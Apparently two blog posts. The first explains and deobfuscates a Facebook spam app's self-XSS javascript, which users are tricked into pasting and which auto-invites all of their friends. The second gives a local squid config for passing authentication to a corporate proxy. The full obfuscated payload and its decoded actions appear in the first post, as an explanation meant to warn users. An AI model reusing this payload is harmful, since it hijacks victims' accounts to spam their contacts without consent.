How not to look like a fool on facebook

I did it already. Warning you so that you don't.

There is a full blown army of apps on Facebook which spam your friends with recommendations without your consent. Going by Facebook's policies, these apps are spam, and you should report them as soon as possible.

They are named in interesting ways. When you click the link, it first shows a button.
Let us take an example of 'Is this dog ugly?'.



As it came from a credible friend, you go ahead and click the button,


and do as you are told to do so, expecting some image with fancy javascript animation.


you paste the code and hit enter, and wait for it.
Before you know it, it has sent invitations to your friends, and you end up looking like a fool!

This is how it works :

the script you copy looks something like this:

javascript:(function(){a = "app120196878004524_jop"; b = "app120196878004524_jode"; ifc = "app120196878004524_ifc"; ifo = "app120196878004524_ifo"; mw = "app120196878004524_mwrapper"; function ff(p, a, c, k, e, r) { e = function (c) { return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)); }; if (!"".replace(/^/, String)) { while (c--) {r[e(c)] = k[c] || e(c);}k = [function (e) {return r[e];}];e = function () {return "\\w+";};c = 1; } while (c--) { if (k[c]) {p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);} } return p; } str = ff("J e=[\"\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A\",\"\\j\\h\\A\\i\\f\",\"\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t\",\"\\w\\g\\t\\t\\f\\k\",\"\\g\\k\\k\\f\\x\\M\\N\\G\\O\",\"\\n\\l\\i\\y\\f\",\"\\j\\y\\o\\o\\f\\j\\h\",\"\\i\\g\\H\\f\\r\\f\",\"\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j\",\"\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h\",\"\\p\\i\\g\\p\\H\",\"\\g\\k\\g\\h\\q\\n\\f\\k\\h\",\"\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h\",\"\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i\",\"\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r\",\"\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z\",\"\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o\"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);", 62, 69, "||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||".split("|"), 0, {})})();

With slightly better formatting, it looks like

a='app120196878004524_jop';
b='app120196878004524_jode';
ifc='app120196878004524_ifc';
ifo='app120196878004524_ifo';
mw='app120196878004524_mwrapper';
eval(
 function(p,a,c,k,e,r){
  e=function(c){
   return
      (c35?String.fromCharCode(c+29):c.toString(36))
  };
  if(!''.replace(/^/,String)){
   while(c--)
    r[e(c)]=k[c]||e(c);
   k=[function(e){return r[e]}];
   e=function(){
    return'\\w+'
   };
   c=1
  };
  while(c--)
   if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
  return p
 }
 ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{})
);

now, let us drop the last parentheses () and check what code this actually executes:

a = "app120196878004524_jop";
b = "app120196878004524_jode";
ifc = "app120196878004524_ifc";
ifo = "app120196878004524_ifo";
mw = "app120196878004524_mwrapper";
function ff(p, a, c, k, e, r) {
 e = function (c) {
  return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36));
 };
 if (!"".replace(/^/, String)) {
  while (c--) {r[e(c)] = k[c] || e(c);}k = [function (e) {return r[e];}];e = function () {return "\\w+";};c = 1;
 }
 while (c--) {
  if (k[c]) {p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);}
 }
 return p;
}
str = ff("J e=[\"\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A\",\"\\j\\h\\A\\i\\f\",\"\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t\",\"\\w\\g\\t\\t\\f\\k\",\"\\g\\k\\k\\f\\x\\M\\N\\G\\O\",\"\\n\\l\\i\\y\\f\",\"\\j\\y\\o\\o\\f\\j\\h\",\"\\i\\g\\H\\f\\r\\f\",\"\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j\",\"\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h\",\"\\p\\i\\g\\p\\H\",\"\\g\\k\\g\\h\\q\\n\\f\\k\\h\",\"\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h\",\"\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i\",\"\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r\",\"\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z\",\"\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o\"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);", 62, 69, "||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||".split("|"), 0, {});

// and lets print the string that gets evaluated
print(str);

which, when executed with `js' gives output

var _0x95ea=[ "\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79",
"\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
"\x68\x69\x64\x64\x65\x6E",
"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65",
"\x73\x75\x67\x67\x65\x73\x74",
"\x6C\x69\x6B\x65\x6D\x65",
"\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
"\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
"\x63\x6C\x69\x63\x6B",
"\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
"\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
"\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
"\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
"\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
"\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
d=document;
d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]]=_0x95ea[3];
d[_0x95ea[2]](a)[_0x95ea[4]]=d[_0x95ea[2]](b)[_0x95ea[5]];
s=d[_0x95ea[2]](_0x95ea[6]);
m=d[_0x95ea[2]](_0x95ea[7]);
c=d[_0x95ea[9]](_0x95ea[8]);
c[_0x95ea[11]](_0x95ea[10],true,true);
s[_0x95ea[12]](c);
setTimeout(function(){fs[_0x95ea[13]]()},5000);
setTimeout(function(){SocialGraphManager[_0x95ea[16]](_0x95ea[14],_0x95ea[15])},5000);
setTimeout(function(){m[_0x95ea[12]](c);d[_0x95ea[2]](ifo)[_0x95ea[4]]=d[_0x95ea[2]](ifc)[_0x95ea[5]]},5000);

note that executing print(_0x95ea); gives

visibility,style,getElementById,hidden,innerHTML,value,suggest,likeme,MouseEvents,createEvent,click,initEvent,dispatchEvent,select_all,sgm_invite_form,/ajax/social_graph/invite_dialog.php,submitDialog

so, the final code that gets executed is

document["getElementById"]("app120196878004524_mwrapper")["style"]["visibility"]="hidden";
document["getElementById"]("app120196878004524_jop")["innerHTML"]=document["getElementById"]("app120196878004524_jode")["value"];
s=document["getElementById"]("suggest");
m=document["getElementById"]("likeme");
c=document["createEvent"]("MouseEvents");
c["initEvent"]("click",true,true);
s["dispatchEvent"](c);
setTimeout(function(){fs["select_all"]()},5000);
setTimeout(function(){SocialGraphManager["submitDialog"]("sgm_invite_form","/ajax/social_graph/invite_dialog.php")},5000);
setTimeout(function(){m["dispatchEvent"](c);document["getElementById"]("app120196878004524_ifo")["innerHTML"]=document["getElementById"]("app120196878004524_ifc")["value"]},5000);

Essentially the script automatically brings up `suggest to friends' window listing all friends, selects all and submits the invitation request on your behalf (using MouseEvents with setTimeout).

Note that the code template is same for all these kind of applications. Just the application specific IDs ("app120196878004524_jop" etc.) change.

In general, whenever someone asks you to execute some piece of javascript in address bar, consider it harmful. In this case they do not steal your identity, so no worries; but you have every reason to believe the next such application will.

Take care.

Authenticated corporate proxy woes - Local squid cache peer proxy

How many times has it happened at school or work that the software you want to use needs to connect to the Internet can not get through the stupid proxy? I know I've suffered a lot due to this. Moreover, looks like companies such as Nokia, Ubisoft etc. do not really care about people behind authenticated proxies either. It is really surprising (and annoying) to see so many nice software without support for authenticated proxies. That also includes the all new `awesome' (sarcasm intended) chat client that comes by default in Ubuntu called Empathy.

Or are you otherwise pissed off because you have to type your proxy authentication in all those different places? There are KDE settings, GNOME settings, (e)links, subversion config, yum/apt configuration, entering password a thousand times when firefox(pre-3.6) tries to find updates after restart and reopen all those tabs etc. etc., or IE settings for windows users, the "netsh winhttp set proxy" method to get your Windows 7 updates through the proxy?

Yes. Very, very annoying.

What if you could delegate the authentication to some other service running on and strictly for your computer only? How about your own proxy server running on your machine that delegates requests to your organization's proxy with proper authentication so that you no longer have to worry about authentication?

Running local squid

The basic idea is this : we run a local instance of squid which runs as a peer proxy to the organization's proxy, with authentication on your behalf. This means that now you can set proxy as localhost and connect - the authentication will be taken care of by local squid copy. Not just that, it also reduces some load on your organization's proxy, as it also caches (static by default) content.

Just append these lines to your /etc/squid/squid.conf

cache_peer proxy.addr parent [proxy.addr proxy port] [proxy.addr icp port]  
default no-query login=[login_name]:[pass]

# to bypass the proxy for local or LAN access
acl local_domain dstdomain *.local.domain
acl local_nat dst 10.0.0.0/8
always_direct allow local_domain
always_direct allow local_nat

# everything else must pass through the parent. No direct access allowed.
never_direct allow all

Let us dissect the config:
  • cache_peer proxy.addr tells squid to work as a peer proxy to your organization's proxy. 
  • parent tells squid that proxy.addr is one of it's parents in the cache hierarchy.
  • [my.proxy.address proxy port] the port on which organization's proxy accepts connections.
  • [my.proxy.address icp port] the port on which organization's proxy listens for ICP requests.
Now the `option'
  • no-query in case your proxy does not provide ICP support, or you do not want to enable it, providing this clause will stop our squid from sending ICP requests and reduce unnecessary delays. 
  • login=[login_name]:[pass] self explanatory.

Note that you need to take care of forwarding any special ports your applications might need.

This method works only for basic authentication (base64 encode method).

There are some obvious security concerns. First, your password is stored in plaintext - make sure that non-root users have *no* permissions on /etc/squid/squid.conf. Also make sure that this proxy accepts connections only from local host. There still is a security hole, in that in case someone logs into your machine as a normal or guest user, even he can use your connection.

This method works on all UNIces, Linux as well as Windows.